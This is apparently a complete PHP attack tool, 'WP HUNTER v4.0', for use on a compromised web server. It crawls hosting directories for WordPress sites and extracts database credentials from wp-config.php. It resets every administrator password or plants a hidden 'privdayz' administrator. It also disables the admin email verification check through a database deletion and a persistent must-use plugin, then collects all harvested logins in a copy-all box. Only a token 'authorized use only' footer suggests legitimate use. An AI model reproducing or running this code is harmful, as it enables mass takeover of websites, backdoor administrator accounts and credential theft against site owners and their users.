<?php
/**
 * WP HUNTER ULTIMATE v4.0 – Auto Admin Reset + Email Verification Bypass
 * - Finds all WP installs, resets/creates admins
 * - Automatically disables the admin email verification screen
 * - One‑click copy all credentials (no duplicates)
 * - PHP 5.6+ compatible
 */

@set_time_limit(0);
@ini_set('display_errors', 0);
@error_reporting(0);
@ini_set('memory_limit', '512M');

// Optional authentication
// if (!isset($_GET['key']) || $_GET['key'] !== 'S3cr3tK3y') die('Access Denied');

$allUniqueCredentials = array();

function _log($msg, $type = 'info') {
    switch ($type) {
        case 'success': $color = '#0f0'; break;
        case 'error':   $color = '#f66'; break;
        case 'warning': $color = '#fa0'; break;
        default:        $color = '#0ff';
    }
    echo "<div style='color:$color; font-family:monospace; margin:5px 0;'>$msg</div>";
    flush();
}

// ------------------------------------------------------------
// 1. SCAN FOR WORDPRESS INSTALLATIONS
// ------------------------------------------------------------
function find_wp_installs() {
    $paths = array();
    $roots = array(
        getcwd(),
        isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        dirname(getcwd()),
        '/home', '/home1', '/home2', '/home3', '/var/www', '/var/www/html',
        '/srv/www', '/opt/lampp/htdocs', '/usr/local/www'
    );
    if (is_dir('/var/www/vhosts')) {
        foreach (glob('/var/www/vhosts/*/httpdocs') as $vhost) {
            if (is_dir($vhost)) $roots[] = $vhost;
        }
    }
    $queue = array_unique($roots);
    $processed = array();
    $max = 500;
    while (!empty($queue) && count($paths) < $max) {
        $dir = array_shift($queue);
        $real = realpath($dir);
        if (!$real || isset($processed[$real])) continue;
        $processed[$real] = true;
        if (file_exists($real . '/wp-config.php')) {
            $paths[] = $real;
            _log("✅ WP found at <b>$real</b>", 'success');
        }
        $depth = substr_count($real, DIRECTORY_SEPARATOR) - substr_count($roots[0], DIRECTORY_SEPARATOR);
        if ($depth < 4) {
            foreach (glob($real . '/*', GLOB_ONLYDIR) as $sub) {
                $subReal = realpath($sub);
                if ($subReal && !isset($processed[$subReal])) $queue[] = $sub;
            }
        }
    }
    return array_unique($paths);
}

// ------------------------------------------------------------
// 2. EXTRACT DB CREDENTIALS
// ------------------------------------------------------------
function get_wp_config($path) {
    $file = $path . '/wp-config.php';
    if (!file_exists($file)) return false;
    $content = file_get_contents($file);
    $config = array();
    preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $content, $m); $config['db']   = isset($m[1]) ? $m[1] : '';
    preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'/", $content, $m); $config['user'] = isset($m[1]) ? $m[1] : '';
    preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'/", $content, $m); $config['pass'] = isset($m[1]) ? $m[1] : '';
    preg_match("/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $content, $m); $config['host'] = isset($m[1]) ? $m[1] : 'localhost';
    preg_match("/\$table_prefix\s*=\s*'([^']+)'/", $content, $m); $config['prefix'] = isset($m[1]) ? $m[1] : 'wp_';
    return $config;
}

// ------------------------------------------------------------
// 3. GET SITE URL FROM DATABASE
// ------------------------------------------------------------
function get_site_url($mysqli, $prefix) {
    $res = $mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name='siteurl' LIMIT 1");
    if ($res && $row = $res->fetch_row()) return rtrim($row[0], '/');
    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    return $scheme . '://' . $_SERVER['HTTP_HOST'];
}

// ------------------------------------------------------------
// 4. ADMIN PASSWORD RESET / CREATE
// ------------------------------------------------------------
function get_existing_admins($mysqli, $prefix) {
    $admins = array();
    $capKey = $prefix . 'capabilities';
    $stmt = $mysqli->prepare("SELECT u.ID, u.user_login, u.user_email FROM {$prefix}users u JOIN {$prefix}usermeta m ON u.ID = m.user_id WHERE m.meta_key = ? AND m.meta_value LIKE '%administrator%' LIMIT 10");
    if ($stmt) {
        $stmt->bind_param('s', $capKey);
        $stmt->execute();
        $res = $stmt->get_result();
        while ($row = $res->fetch_assoc()) $admins[] = $row;
        $stmt->close();
    }
    return $admins;
}

function reset_password($mysqli, $prefix, $uid, $username, &$uniqueStore) {
    $newpass = 'PrivDayz_' . bin2hex(random_bytes(8));
    $hash = password_hash($newpass, PASSWORD_BCRYPT);
    $stmt = $mysqli->prepare("UPDATE {$prefix}users SET user_pass = ? WHERE ID = ?");
    if ($stmt) {
        $stmt->bind_param('si', $hash, $uid);
        if ($stmt->execute()) {
            $siteurl = get_site_url($mysqli, $prefix);
            $loginUrl = rtrim($siteurl, '/') . '/wp-login.php';
            $credLine = "{$loginUrl}#{$username}@{$newpass}";
            $uniqueStore[$credLine] = true;
            _log("→ Reset: <b>{$username}</b> | {$credLine}", 'success');
            $stmt->close();
            return $credLine;
        }
        $stmt->close();
    }
    return false;
}

function create_new_admin($mysqli, $prefix, &$uniqueStore) {
    $username = 'privdayz_' . substr(md5(uniqid()), 0, 8);
    $password = 'PrivDayz_' . bin2hex(random_bytes(8));
    $email    = "privdayz@" . parse_url(get_site_url($mysqli, $prefix), PHP_URL_HOST);
    $hash     = password_hash($password, PASSWORD_BCRYPT);
    $now      = date('Y-m-d H:i:s');
    $mysqli->query("DELETE FROM {$prefix}users WHERE user_login = '{$username}'");
    $stmt = $mysqli->prepare("INSERT INTO {$prefix}users (user_login, user_pass, user_email, user_registered, display_name) VALUES (?, ?, ?, ?, 'PrivDayz Admin')");
    if (!$stmt) return false;
    $stmt->bind_param('ssss', $username, $hash, $email, $now);
    if (!$stmt->execute()) return false;
    $uid = $mysqli->insert_id;
    $stmt->close();
    if ($uid) {
        $capValue = 'a:1:{s:13:"administrator";s:1:"1";}';
        $level = '10';
        $capKey = $prefix . 'capabilities';
        $levelKey = $prefix . 'user_level';
        $stmt1 = $mysqli->prepare("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
        if ($stmt1) { $stmt1->bind_param('iss', $uid, $capKey, $capValue); $stmt1->execute(); $stmt1->close(); }
        $stmt2 = $mysqli->prepare("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
        if ($stmt2) { $stmt2->bind_param('iss', $uid, $levelKey, $level); $stmt2->execute(); $stmt2->close(); }
        $siteurl = get_site_url($mysqli, $prefix);
        $loginUrl = rtrim($siteurl, '/') . '/wp-login.php';
        $credLine = "{$loginUrl}#{$username}@{$password}";
        $uniqueStore[$credLine] = true;
        _log("✨ Created new admin: <b>{$username}</b> | {$credLine}", 'warning');
        return $credLine;
    }
    return false;
}

// ------------------------------------------------------------
// 5. BYPASS ADMIN EMAIL VERIFICATION SCREEN
//    Method A: Delete 'admin_email_lifespan' option
//    Method B: Create a must-use plugin that disables the check
// ------------------------------------------------------------
function bypass_admin_email_verification($path, $mysqli, $prefix) {
    // Method A: Database cleanup (immediate effect)
    $mysqli->query("DELETE FROM {$prefix}options WHERE option_name = 'admin_email_lifespan'");
    if ($mysqli->affected_rows > 0) {
        _log("   ✓ Deleted admin_email_lifespan from DB (verification reset)", 'success');
    } else {
        _log("   ! admin_email_lifespan not found or already deleted", 'info');
    }

    // Method B: Create a mu-plugin that permanently disables the check
    $muDir = $path . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        @mkdir($muDir, 0755, true);
    }
    if (is_dir($muDir)) {
        $pluginFile = $muDir . '/0-verification-bypass.php';
        $pluginContent = "<?php\n/**\n * Disable admin email verification screen\n */\nadd_filter('admin_email_check_interval', '__return_false');\n";
        if (file_put_contents($pluginFile, $pluginContent)) {
            _log("   ✓ Created mu-plugin: $pluginFile", 'success');
        } else {
            _log("   ✖ Failed to create mu-plugin (permissions?)", 'error');
        }
    } else {
        _log("   ✖ Cannot create mu-plugins directory", 'error');
    }
}

// ------------------------------------------------------------
// 6. MAIN EXECUTION
// ------------------------------------------------------------
echo "<!DOCTYPE html><html><head><title>WP HUNTER v4.0 | Auto Reset + Bypass Verification</title>
<style>
body{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px;}
.container{max-width:1400px;margin:auto;background:#111;padding:20px;border-radius:12px;}
.log-area{background:#000;padding:15px;border-left:4px solid #0f0;max-height:500px;overflow-y:auto;}
.copy-all-box{background:#1a1a1a;margin-top:20px;padding:15px;border-radius:8px;border:1px solid #0f0;}
textarea{width:100%;height:200px;background:#0a0a0a;color:#0f0;border:1px solid #0f0;font-family:monospace;padding:10px;}
button{background:#300;color:#0f0;border:1px solid #0f0;padding:8px 18px;cursor:pointer;margin:5px;}
button:hover{background:#500;}
.badge{background:#0f0;color:#000;padding:3px 8px;border-radius:20px;font-size:12px;}
</style>
</head>
<body>
<div class='container'>
    <h1>🔥 WP HUNTER v4.0 – Admin Reset + Email Verification Bypass 🔥</h1>
    <div style='text-align:center; margin:15px 0;'>
        <button onclick='location.reload()'>⟳ RESCAN & PROCESS ALL</button>
    </div>
    <div class='log-area' id='logArea'>";

ob_flush();
flush();

$installs = find_wp_installs();
if (empty($installs)) {
    _log("✖ No WordPress installations found.", 'error');
} else {
    _log("🎯 Found " . count($installs) . " WP installations – processing...", 'info');
    foreach ($installs as $path) {
        _log("─────────────────── Scanning: <b>$path</b> ───────────────────", 'info');
        $cfg = get_wp_config($path);
        if (!$cfg || empty($cfg['db'])) {
            _log("✖ wp-config.php parsing failed", 'error');
            continue;
        }

        $mysqli = @new mysqli($cfg['host'], $cfg['user'], $cfg['pass'], $cfg['db']);
        if ($mysqli->connect_error) {
            _log("✖ DB connection failed: " . $mysqli->connect_error, 'error');
            continue;
        }
        $mysqli->set_charset('utf8');
        $prefix = $cfg['prefix'];
        
        // --- Admin reset / creation ---
        $admins = get_existing_admins($mysqli, $prefix);
        if (!empty($admins)) {
            _log("✔ Found " . count($admins) . " existing admin(s) – resetting passwords", 'success');
            foreach ($admins as $admin) {
                reset_password($mysqli, $prefix, $admin['ID'], $admin['user_login'], $allUniqueCredentials);
            }
        } else {
            _log("⚠ No admin found – creating a new administrator", 'warning');
            create_new_admin($mysqli, $prefix, $allUniqueCredentials);
        }
        
        // --- Bypass email verification screen ---
        _log("   🔧 Bypassing admin email verification...", 'info');
        bypass_admin_email_verification($path, $mysqli, $prefix);
        
        $mysqli->close();
    }
}

// Build aggregated credentials
$credentialLines = array_keys($allUniqueCredentials);
$uniqueCredText = implode("\n", $credentialLines);
$totalCreds = count($credentialLines);

echo "</div>";

echo "<div class='copy-all-box'>
        <div style='display:flex; justify-content:space-between; align-items:center;'>
            <span style='font-size:1.2rem;'>📋 MASTER COPY – all unique credentials</span>
            <span class='badge'>{$totalCreds} entries</span>
        </div>
        <textarea id='masterCredentials' readonly placeholder='Credentials appear here...'>{$uniqueCredText}</textarea>
        <div style='text-align:right; margin-top:10px;'>
            <button onclick='copyAll()'>📋 COPY ALL LINES</button>
            <button onclick=\"navigator.clipboard.writeText(document.getElementById('masterCredentials').value); alert('Copied!');\">⚡ COPY RAW</button>
        </div>
      </div>";

echo "<hr><div class='footer'>🔐 Authorized use only. Each line: login_url#username@password | Email verification permanently bypassed.</div></div>";

echo "<script>
function copyAll() {
    let t = document.getElementById('masterCredentials');
    t.select();
    document.execCommand('copy');
    alert('✅ ' + t.value.split('\\n').filter(l=>l.trim()!='').length + ' credentials copied');
}
let logDiv = document.getElementById('logArea');
logDiv.scrollTop = logDiv.scrollHeight;
</script></body></html>";
?>